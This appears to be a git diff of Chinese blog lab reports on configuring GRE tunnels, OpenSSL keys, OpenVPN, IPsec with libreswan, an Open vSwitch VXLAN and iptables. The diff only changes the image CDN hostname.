> 通用路由封装或gre是一种协议用于将使用一个路由协议的数据包封装在另一协议的数据包中。gre是在网络上建立直接点对点连接的一种方法目的是简化单独网络之间的连接。它适用于各种网络层协议。将数据包封装在其他数据包中称为“隧道”。gre隧道通常配置在两个路由器之间每个路由器的作用好比隧道的一端。路由器设置为彼此直接发送和接收 gre数据包。两个路由器之间的任何路由器都不会打开封装的数据包它们仅引用封装数据包外层的标头进行转发。 > 通用路由封装或gre是一种协议用于将使用一个路由协议的数据包封装在另一协议的数据包中。gre是在网络上建立直接点对点连接的一种方法目的是简化单独网络之间的连接。它适用于各种网络层协议。将数据包封装在其他数据包中称为“隧道”。gre隧道通常配置在两个路由器之间每个路由器的作用好比隧道的一端。路由器设置为彼此直接发送和接收 gre数据包。两个路由器之间的任何路由器都不会打开封装的数据包它们仅引用封装数据包外层的标头进行转发。
> ip_gre内核模块是gre通过IPv4隧道的驱动程序 > ip_gre内核模块是gre通过IPv4隧道的驱动程序
@ -40,287 +40,287 @@ vpn1和vpn2主机分别加载gre内核模块并检查
vpn1创建一个GRE类型隧道设备gre1, 并设置对端IP为192.168.2.11。 vpn1创建一个GRE类型隧道设备gre1, 并设置对端IP为192.168.2.11。
ip指令用于设置网络设备用于替代ifconfig命令ip tunnel用于建立隧道。mode表示模式为gre设置远端和本地端。ip a用于显示ip地址。 ip指令用于设置网络设备用于替代ifconfig命令ip tunnel用于建立隧道。mode表示模式为gre设置远端和本地端。ip a用于显示ip地址。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/040510B3Cj.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/040510B3Cj.png" >}}
启动gre1并分配ip地址10.10.10.1,检测是否添加并启动 启动gre1并分配ip地址10.10.10.1,检测是否添加并启动
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405AWgwKv.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405AWgwKv.png" >}}
类似的对vpn2主机进行相应的配置 类似的对vpn2主机进行相应的配置
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405puFW5b.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405puFW5b.png" >}}
测试是否连通 测试是否连通
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405lNqMVV.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405lNqMVV.png" >}}
卸载gre模块 卸载gre模块
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405ICPgN1.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405ICPgN1.png" >}}
### 任务二 {#任务二} ### 任务二 {#任务二}
查看openssl命令基本帮助 查看openssl命令基本帮助
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04052LODMa.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04052LODMa.png" >}}
> openssl是一个强大的安全套接字层密码库囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议并提供丰富的应用程序供测试或其它目的使用。 openssl整个软件包大概可以分成三个主要的功能部分SSL协议库、应用程序以及密码算法库。openssl的目录结构自然也是围绕这三个功能部分进行规划的。基本功能有主要的密码算法MD5、SHA、DH、BASE64等等、常用的密钥和证书封装管理功能以及SSL协议并提供了丰富的应用程序供测试或其它目的使用。 > openssl是一个强大的安全套接字层密码库囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议并提供丰富的应用程序供测试或其它目的使用。 openssl整个软件包大概可以分成三个主要的功能部分SSL协议库、应用程序以及密码算法库。openssl的目录结构自然也是围绕这三个功能部分进行规划的。基本功能有主要的密码算法MD5、SHA、DH、BASE64等等、常用的密钥和证书封装管理功能以及SSL协议并提供了丰富的应用程序供测试或其它目的使用。
产生RSA私钥 产生RSA私钥
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405cvz7dz.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405cvz7dz.png" >}}
这样就生成了2048位的RSA私钥接下来利用生成的私钥生成对应的公钥查看openssl rsa对应的用法 这样就生成了2048位的RSA私钥接下来利用生成的私钥生成对应的公钥查看openssl rsa对应的用法
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405trT262.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405trT262.png" >}}
则可见应将私钥文件作为输入文件,选择输出公钥并指定公钥文件。 则可见应将私钥文件作为输入文件,选择输出公钥并指定公钥文件。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405Fu4P3g.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405Fu4P3g.png" >}}
接下来生成RSA含密码(使用AES-256加密)的公私钥文件生成私钥时只需要指定使用AES-256进行加密并输入相应的密码即可这里把密码设定为simple。 接下来生成RSA含密码(使用AES-256加密)的公私钥文件生成私钥时只需要指定使用AES-256进行加密并输入相应的密码即可这里把密码设定为simple。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405AI9uzB.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405AI9uzB.png" >}}
同样生成对应的公钥文件,并查看生成的全部秘钥文件 同样生成对应的公钥文件,并查看生成的全部秘钥文件
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405FIuJD2.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405FIuJD2.png" >}}
接下来尝试将使用AES-256加密的文件和未使用其加密的文件进行转换 接下来尝试将使用AES-256加密的文件和未使用其加密的文件进行转换
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405JpX1OG.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405JpX1OG.png" >}}
生成自签名证书 生成自签名证书
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405G4S6Rd.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405G4S6Rd.png" >}}
也可使用已有的私钥生成自签名证书,如下 也可使用已有的私钥生成自签名证书,如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405j0AtId.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405j0AtId.png" >}}
生成私钥及csr签名请求文件(生成过程中输错了一次密码故产生了错误) 生成私钥及csr签名请求文件(生成过程中输错了一次密码故产生了错误)
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405qaSIwD.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405qaSIwD.png" >}}
### 实验三 {#实验三} ### 实验三 {#实验三}
在vpn1机器安装openvpn并验证 在vpn1机器安装openvpn并验证
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406ZbPz2i.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406ZbPz2i.png" >}}
拷贝模版配置文件到openvpn的配置文件目录下 拷贝模版配置文件到openvpn的配置文件目录下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Zvf560.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Zvf560.png" >}}
修改openvpn服务端的配置文件server.conf。指定使用TCP协议。将UDP注释掉不需要配置DNS因为无法连通外网。 修改openvpn服务端的配置文件server.conf。指定使用TCP协议。将UDP注释掉不需要配置DNS因为无法连通外网。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406w79zzB.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406w79zzB.png" >}}
将openvpn运行的用户设为nobody用户组设为nobody可降低openvpn的权限增强其安全性。 将openvpn运行的用户设为nobody用户组设为nobody可降低openvpn的权限增强其安全性。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406VNz4um.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406VNz4um.png" >}}
将explicit-exit-notify 1注释掉以关闭显式退出提示 将explicit-exit-notify 1注释掉以关闭显式退出提示
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406PZcWZK.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406PZcWZK.png" >}}
安装密钥生成软件easy-rsa 安装密钥生成软件easy-rsa
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04066Yi8ya.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04066Yi8ya.png" >}}
将easy-rsa拷贝到openvpn文件夹下 将easy-rsa拷贝到openvpn文件夹下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Yz2aST.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Yz2aST.png" >}}
配置生成证书的环境变量并使之生效 配置生成证书的环境变量并使之生效
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406HbkqrQ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406HbkqrQ.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406UJoutO.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406UJoutO.png" >}}
删除之前的keys并重新生成 删除之前的keys并重新生成
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406zFTeXR.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406zFTeXR.png" >}}
创建通用名(common name)为”server”的证书文件并设置密码为simple123。 创建通用名(common name)为”server”的证书文件并设置密码为simple123。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04060gd4O8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04060gd4O8.png" >}}
生成防攻击的key文件可以防止DDos攻击UDP淹没等恶意攻击。其实从本质上说就是一个静态密钥文件使用静态密钥文件进行连接相比于证书方式进行连接不需要TLS握手不易被干扰。 生成防攻击的key文件可以防止DDos攻击UDP淹没等恶意攻击。其实从本质上说就是一个静态密钥文件使用静态密钥文件进行连接相比于证书方式进行连接不需要TLS握手不易被干扰。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406ss9qjC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406ss9qjC.png" >}}
生成客户端使用的密钥文件 生成客户端使用的密钥文件
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406hZKHfH.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406hZKHfH.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406iIdFPn.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406iIdFPn.png" >}}
将全部的密钥认证文件拷贝到openvpn的配置文件目录下 将全部的密钥认证文件拷贝到openvpn的配置文件目录下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406iMTcL5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406iMTcL5.png" >}}
创建一个通用名(common name)为 client的客户端证书 创建一个通用名(common name)为 client的客户端证书
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04062WlMTb.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04062WlMTb.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04064tfgcG.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04064tfgcG.png" >}}
启动openvpn服务并设置为开机自启动随后查看服务的状态并检查服务对应的端口是否处于监听状态 启动openvpn服务并设置为开机自启动随后查看服务的状态并检查服务对应的端口是否处于监听状态
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406DR4Pz7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406DR4Pz7.png" >}}
服务端配置完成后进行客户端的登陆测试首先在客户端安装openvpn 服务端配置完成后进行客户端的登陆测试首先在客户端安装openvpn
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406wi0th8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406wi0th8.png" >}}
将服务端生成的对应的ca证书和客户端密钥以及连接使用的静态密钥文件通过scp拷贝到客户端 将服务端生成的对应的ca证书和客户端密钥以及连接使用的静态密钥文件通过scp拷贝到客户端
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04065x5iam.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04065x5iam.png" >}}
配置客户端的配置文件进行连接前的准备设定配置文件中连接的目标机器ip端口需要的密钥文件加密方式重新测试预设log等级等这一部分与服务端配置上大体保持一致。 配置客户端的配置文件进行连接前的准备设定配置文件中连接的目标机器ip端口需要的密钥文件加密方式重新测试预设log等级等这一部分与服务端配置上大体保持一致。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406OnB3Ut.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406OnB3Ut.png" >}}
启动openvpn客户端并挂后台运行并可实时查看其日志。 启动openvpn客户端并挂后台运行并可实时查看其日志。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04067UF246.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04067UF246.png" >}}
查看网卡信息查看vpn通道的建立情况 查看网卡信息查看vpn通道的建立情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406OOIR6B.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406OOIR6B.png" >}}
测试是否可用这里ping 10.8.0.1是该ip与vpn连接的目标机ip 10.8.0.5处于同一网段下,故可以连通。 测试是否可用这里ping 10.8.0.1是该ip与vpn连接的目标机ip 10.8.0.5处于同一网段下,故可以连通。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CSYhPm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CSYhPm.png" >}}
在vpn1机器上对openvpn nat进行配置使用的工具是iptablesiptables是一款管理员工具用于IPv4包过滤和NAT转换相关的功能其与netfilter结合可以组成Linux平台下的包过滤防火墙。-t表示指定规则对应的表-A表示向指定的规则链末尾增加一条规则-s则表示源地址-j表示对应的动作这里MASQUERADE表示伪装即用转换后的地址代替之前的地址。 在vpn1机器上对openvpn nat进行配置使用的工具是iptablesiptables是一款管理员工具用于IPv4包过滤和NAT转换相关的功能其与netfilter结合可以组成Linux平台下的包过滤防火墙。-t表示指定规则对应的表-A表示向指定的规则链末尾增加一条规则-s则表示源地址-j表示对应的动作这里MASQUERADE表示伪装即用转换后的地址代替之前的地址。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ju7uf6.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ju7uf6.png" >}}
在vpn2机器上访问百度进行测试 在vpn2机器上访问百度进行测试
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ov4KJw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ov4KJw.png" >}}
在vpn1机器上查看对应规则下的数据包 在vpn1机器上查看对应规则下的数据包
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CzChHs.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CzChHs.png" >}}
在两台机器上关闭openvpn服务 在两台机器上关闭openvpn服务
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406GzQ0Zp.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406GzQ0Zp.png" >}}
### 任务四 {#任务四} ### 任务四 {#任务四}
对于vpn1和vpn2调整内核参数开启数据转发关闭icmp重定向并使之生效。 对于vpn1和vpn2调整内核参数开启数据转发关闭icmp重定向并使之生效。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406prsHtf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406prsHtf.png" >}}
在vpn1和vpn2上安装openswanlibreswan并验证安装 在vpn1和vpn2上安装openswanlibreswan并验证安装
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406lbe3ZZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406lbe3ZZ.png" >}}
启动服务并检查是否正常。 启动服务并检查是否正常。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406wvzdK8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406wvzdK8.png" >}}
可见服务正常启动。查看openswan监听的端口 可见服务正常启动。查看openswan监听的端口
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406XvrAGA.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406XvrAGA.png" >}}
可见在监听500和4500端口其中500是用来IKE密钥交换协商4500的NAT-T是nat穿透的。配置ipsecVPN配置首先使用PSK方式进行配置修改ipsec.conf文件在末尾添加如下 可见在监听500和4500端口其中500是用来IKE密钥交换协商4500的NAT-T是nat穿透的。配置ipsecVPN配置首先使用PSK方式进行配置修改ipsec.conf文件在末尾添加如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ez81iq.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Ez81iq.png" >}}
修改vpn1和vpn2的密码配置文件在配置文件末尾添加本机ip允许任意ip连接密码为123 修改vpn1和vpn2的密码配置文件在配置文件末尾添加本机ip允许任意ip连接密码为123
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04069RcB9n.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04069RcB9n.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04064KOqTu.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04064KOqTu.png" >}}
重新启动服务并验证 重新启动服务并验证
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CS0F8v.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406CS0F8v.png" >}}
可见连接成功。在两台机器上搭建内网网络来进行连通性测试在vpn1上搭建虚拟网络10.0.0.1/24。在vpn2上搭建虚拟网络10.0.1.1/24搭建完成后如下 可见连接成功。在两台机器上搭建内网网络来进行连通性测试在vpn1上搭建虚拟网络10.0.0.1/24。在vpn2上搭建虚拟网络10.0.1.1/24搭建完成后如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406yV3W14.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406yV3W14.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/040610jGiD.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/040610jGiD.png" >}}
在vpn1上ping测试可以成功 在vpn1上ping测试可以成功
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406N1qUiw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406N1qUiw.png" >}}
现在使用数字签名模式认证在vpn1和vpn2上分别生成一个新的RSA密钥对查看ipsec用法 现在使用数字签名模式认证在vpn1和vpn2上分别生成一个新的RSA密钥对查看ipsec用法
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406y6Qbwz.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406y6Qbwz.png" >}}
其中newhostkey用于生成一个新的rsa认证密钥。我们可以使用 man ipsec newhostkey查看其用法如下 其中newhostkey用于生成一个新的rsa认证密钥。我们可以使用 man ipsec newhostkey查看其用法如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406kswcXM.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406kswcXM.png" >}}
使用newhostkey生成一个新的认证密钥 使用newhostkey生成一个新的认证密钥
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Potr2b.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Potr2b.png" >}}
记下此时的Key为73c6cb9c1166c10f4d242d1b8b2ff602fba43c54 记下此时的Key为73c6cb9c1166c10f4d242d1b8b2ff602fba43c54
查看本机的认证密钥使用showhostkey同样可用man ipsec shwohostkey查看其用法 查看本机的认证密钥使用showhostkey同样可用man ipsec shwohostkey查看其用法
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406lrpABy.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406lrpABy.png" >}}
查看本机密钥为 查看本机密钥为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406SgTLDY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406SgTLDY.png" >}}
为了方便将密钥放入ipsec配置文件中我们将密钥输出到文件中 为了方便将密钥放入ipsec配置文件中我们将密钥输出到文件中
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Aib0k5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Aib0k5.png" >}}
再通过vim同时打开两个文件复制密钥到ipsec.conf中将文件发至vpn2并在vpn2上进行同样操作最终如下 再通过vim同时打开两个文件复制密钥到ipsec.conf中将文件发至vpn2并在vpn2上进行同样操作最终如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Z9eVPf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Z9eVPf.png" >}}
重启ipsec服务并打开连接显示IPsec SA established tunnel mode则连接成功 重启ipsec服务并打开连接显示IPsec SA established tunnel mode则连接成功
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406dfHELc.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406dfHELc.png" >}}
在vpn1上ping测试可以成功 在vpn1上ping测试可以成功
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406kPecJY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406kPecJY.png" >}}
清除内网,停止服务 清除内网,停止服务
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Canxn6.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406Canxn6.png" >}}
### 任务五 {#任务五} ### 任务五 {#任务五}
在vpn1和vpn2分别安装openvswitch并启动服务 在vpn1和vpn2分别安装openvswitch并启动服务
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406fSQevV.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406fSQevV.png" >}}
可见安装并启动成功在vpn1上添加名为br0的网桥并给网桥分配一个ip 可见安装并启动成功在vpn1上添加名为br0的网桥并给网桥分配一个ip
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406HizoA5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406HizoA5.png" >}}
可见添加及分配ip成功在vpn2上同样添加br0网桥并分配ip 可见添加及分配ip成功在vpn2上同样添加br0网桥并分配ip
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406KejOfw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406KejOfw.png" >}}
在VPN1上设置VXLAN远端ip设置为VPN2能对外通信的br0的ip。 在VPN1上设置VXLAN远端ip设置为VPN2能对外通信的br0的ip。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406YJoFTn.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406YJoFTn.png" >}}
在VPN2上进行同样的设置 在VPN2上进行同样的设置
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406cqWPh4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406cqWPh4.png" >}}
在VPN1上ping 10.1.0.2 在VPN1上ping 10.1.0.2
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406qblPEZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0406qblPEZ.png" >}}
可以Ping通说明连接成功 可以Ping通说明连接成功

View File

@ -16,35 +16,35 @@ author = "Logic"
查看iptables的用法 `man iptables` 查看iptables的用法 `man iptables`
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412j5rJwu.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412j5rJwu.png" >}}
在此处可以发现iptables默认使用filter表`iptables -t filter -nvL` 可以简写为 `iptables -nvL` 在此处可以发现iptables默认使用filter表`iptables -t filter -nvL` 可以简写为 `iptables -nvL`
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412zfdaub.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412zfdaub.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04127WFdan.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04127WFdan.png" >}}
添加规则,允许所有网络访问本机,-A表示添加规则INPUT指定添加规则的链-j表示跳转到ACCEPT 方法。因为未指定任何其他选项,故为放行所有输入的数据包。 添加规则,允许所有网络访问本机,-A表示添加规则INPUT指定添加规则的链-j表示跳转到ACCEPT 方法。因为未指定任何其他选项,故为放行所有输入的数据包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412KLIA5j.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412KLIA5j.png" >}}
为FORWARD链添加默认规则-P表示设置链的默认策略这里我们将FORWARD链的默认策略设定为DROP即丢弃转发包。 为FORWARD链添加默认规则-P表示设置链的默认策略这里我们将FORWARD链的默认策略设定为DROP即丢弃转发包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04120uXSfw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04120uXSfw.png" >}}
再将FORWARD链的规则改回ACCEPT 再将FORWARD链的规则改回ACCEPT
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412UeHZMa.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412UeHZMa.png" >}}
添加一条自定义链test查看man手册可知可使用-N选项增加自定义链 添加一条自定义链test查看man手册可知可使用-N选项增加自定义链
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412obrFnq.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412obrFnq.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412pi1fR8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412pi1fR8.png" >}}
删除自定义链test 删除自定义链test
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412R9hXeL.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412R9hXeL.png" >}}
### 任务二 {#任务二} ### 任务二 {#任务二}
@ -54,32 +54,32 @@ author = "Logic"
-p可以指定iptables规则匹配的协议如允许INPUT链的所有tcp协议的数据包通过。 -p可以指定iptables规则匹配的协议如允许INPUT链的所有tcp协议的数据包通过。
